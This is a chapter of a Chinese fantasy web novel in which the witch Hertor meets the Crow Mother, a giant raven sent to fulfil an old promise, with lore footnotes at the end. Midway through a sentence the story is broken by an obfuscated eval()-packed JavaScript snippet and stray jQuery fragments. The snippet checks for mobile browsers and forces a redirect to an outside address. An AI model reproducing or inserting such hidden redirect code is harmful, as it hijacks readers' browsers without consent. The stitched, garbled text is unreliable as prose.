26.【卷三】第四节

作品:《巫师的帷幕

    在明了了托卡尔丘克的往世后,萦绕于赫托上方那名叫困惑的乌云便只余下最昏暗寂寂的一朵。赫托决心一不做二不休,她单刀直入地问:“那你是为何加入了银器的行列,你们又究竟要去往何处?”


    托卡尔丘克答:“我之所以跟随着银器,仅仅只是出于寂寞。而若要谈及终点,那我只得告诉你无人知晓我们的终点在何处:虽说我们一直都试图寻找一处远离人烟的地方生活,但不知为何,大地上所有安静祥和之处似乎都已被人们占据了,能任我们挑选的只有地势崎岖处和野兽群聚处。我们无地停歇,只好漫无目的地走着,如此许多年。”


    赫托叹息道:“这似乎意味着终点永无止境。”


    托卡尔丘克则说:“这便也是一种终点。”


    赫托及其他人都不知晓的是,她们自以为无法等到的、望不到头的结局在不久后便落在了她们身侧。终点在霎时间突兀地到来了,从此,人们便有理由相信永恒也存在于某个哀伤的仪式[1]中。那是某个夏日的正午时分,阴云在不经意间布满了天空,大地因此丧失了光亮。行人们以为这会是一场突如其来又绵延不断的暴雨,她们焦急地翻找着衣物,唯恐生命的火在雨水中被浇灭[2]。


    但雨水未曾到来,来到此处的,是要将一切都席卷尽的狂风。一行人用衣物将自己捆在树侧,以免风暴将她们吹落到不知什么地方去。在旋风将尘土卷做厚重的帷幕时,一声巨大的、闷雷般的声响叫翻涌的帷幕凝滞了,尘烟如烟雾般升起,万事万物就此消失殆尽。人们凝眸定睛,试图寻到巨大声响的所在之处。


    沙尘在空中漫无边际地游荡着,它们落向人的眼瞳,坠入人的鼻腔。百合因此遭了难,她不断地咳着,像只啼鸣的小雀。当麦仙翁动挥手想要驱散无处不在的黄沙时,尘土的屏障中伸出了一只巨大的利爪。顷刻间,一只巨鸟出现在了众人眼前:巨鸟以伸展的姿态将浮游在空中的灰尘都扇尽了,阴云与尘霾都烟消云散。当日光落在它漆黑的羽翼上时,那美好的光影让人世间所有的泪都变作了不真切的启示。


    那巨鸟通体漆黑,双眼红如火炭,在这炼狱般的色彩中,唯有胸前有一抹椭圆形的白;它模样同胖头鸟[3]相仿,喙却比寻常的胖头鸟要下垂许多,它的面庞因此看起来有几分似隼似鹰,因此看起来让人陌生又惶恐。那鸟抽动着脖颈环视着才及它胸腔的人们,在再三的观察后,这巨鸟扇动了两下翅膀,飓风险些就此形成。它焦躁地啼鸣了两声,紧接着它口吐人言道:“在此,此地!谁是杜鲁门的后裔?”


    “是她,是她!”麦仙翁一手将百合搂在自己的怀中一手指向赫托,“她为我们讲述过她的凄惨往事,她的祖辈中便有人姓名中冠有杜鲁门——你所寻的必是她!”


    于是巨鸟转过头来,它打量了赫托一番后开言:“我是风暴的化身,回归大地是为了让承诺走向终结。我前来寻找杜鲁门的后裔,寻找巨大承诺的另一契约者。”


    赫托双腿发软,唯有紧靠着巨木她才能维持仅存的自尊和理性。她颤抖且恐惧地对巨鸟道:“但,但……我不敢欺瞒你,你这奇异的造物:我并非杜鲁门的后裔,虽说我族系的源头确实与她们息息相关,但我与她们却是没有任何关系[4]。”


    那巨鸟听了这番话反而颇为快活地扬起了头,它的喙部相互敲击着,发出的声响叫人觉得可怖。待它重新低下头后它说:“是,是了。若非如此,诺言怎会在大地间扭曲成淌满长吁短叹的河流,以至于地上的生灵感到无尽的悲哀?”


    赫托听不懂巨鸟的话,虽说它说着似人一般的语言,其内容却将自己与人之间划出一道晦暗无际的深渊。赫托不知如何与它交谈,也不知如何为自己辩解。她觉得巨鸟找错了人,于是她只好再次将过往袒露。语言如同影子,而影子涨做眼前漆黑的巨鸟,巨鸟听完了她的话后立刻道:“我知,真理尽在火中,命运已成真理良久。”


    赫托沉默许久,之后,她便再次泣泣。毕竟这番言论几乎是将赫托所受的苦弃之不顾,将赫托对自己的鞭挞归咎于自作多情。她啼哭着,同时还抽泣不断。她总是忍不住泪,毕竟若叫泪水落回心中,那人身上悲剧的种子便会发出芽来。


    在赫托悲歌时,托卡尔丘克站了出来。她质问巨鸟究竟有何目的,难道你这漆黑的不祥之物[5]抵达人世,为的只是把人看似愈合的伤重新啄烂?


    巨鸟说不,不,我的目的我已说尽:我来只是为完成承诺而已。“我的子嗣曾与杜鲁门的幼子许下承诺[6],可他们都在承诺在未净时便死了。”边说着,鸟边缓缓地抬着利爪踱步,“而诺言这无形之物可不会消亡,它没有自由,它只能被完成、被做尽。在承诺被忽视的时光里,它徒有席位而没有面容,只能静默地等着约定者前来解放它。但它已被遗忘太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15023270|159554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    久,以至于它已开始生出了无序的爪牙,并试图绞死一切与承诺息息相关的事物。”


    在谈及死亡时,众人便不约而同地望向赫托。赫托挂着泪怯怯地问:“那么,你是谁,你又是以怎样的身份来终结这一切?”


    “我乃乌云的驯养者[7],更是群鸟的母亲。我不存在姓名,但你可唤我乌母。”鸟儿如此说,“而既然你已清楚我的来意,那么,叫我们来完成这已变作幽灵的许诺吧!”


    赫托头晕脑胀,她不知如何是好,她只能听乌母言说。乌母扭动着脖子开言道:“如今,叫我详尽地告知你需如何做:那承诺最初是关于寻找和养育,为解放过去的承诺,你也需向我许一个关乎寻找或者养育,亦或是两者结合的夙愿。”


    [1]哀伤的仪式:后来的巫师们通常将其解读为在巫师死亡后将巫师的□□清除净、并将灵魂放归于巫神的呼吸中的仪式,但由于银器的时代还尚未出现巫神的概念,因此此处很可能只是银器突如其来的有感而发。


    [2]生命的火在雨水中被浇灭:意为死亡。


    [3]胖头鸟:指渡鸦。


    [4]但我与她们却是没有任何关系:如赫托所说,她与杜鲁门确实不存在任何血缘关系,毕竟杜鲁门的血脉在奥尔加·杜鲁门一代便已断绝。但在此之外,赫托甚至同最早的赫尔南迪斯巫师(即萨曼莎和吉尔伯特)也无甚血缘关系。由于隐屋的传承方式为每位巫师在自己成年后前往赫尔南迪斯的故居中挑选一位继承者,因此,隐屋的继承人偶尔会是赫尔南迪斯家族中工作的杂役或奴仆的后代,如此一来,隐屋的继承人早已失去了与最早的赫尔南迪斯巫师的血缘关系。


    [5]不祥之物:或许是由于自己所召来的迷影象征着托卡尔丘克的悲惨往事,托卡尔丘克从始至终都认为身形巨大的乌母也是一种不祥之兆。在寻到了安宁的终点后,托卡尔丘克也是最少居住于其中的那个人,即便鸟儿为巫师们搭起了完满的居所,她依旧会时常步入丛林中,以得到暂时的宁静。


    [6]我的子嗣曾与杜鲁门的幼子许下承诺:指乌云和修林格·杜鲁门的往事。


    [7]乌云的驯养者:虽说乌母的的确确乃名叫乌云的乌鸦的母亲,但巫师们普遍认为,此处所指的乌云确实就是自然界中的乌云。乌母拥有着操控云雨的权能,它将自己称为乌云的驯养者实在是情理之中的事。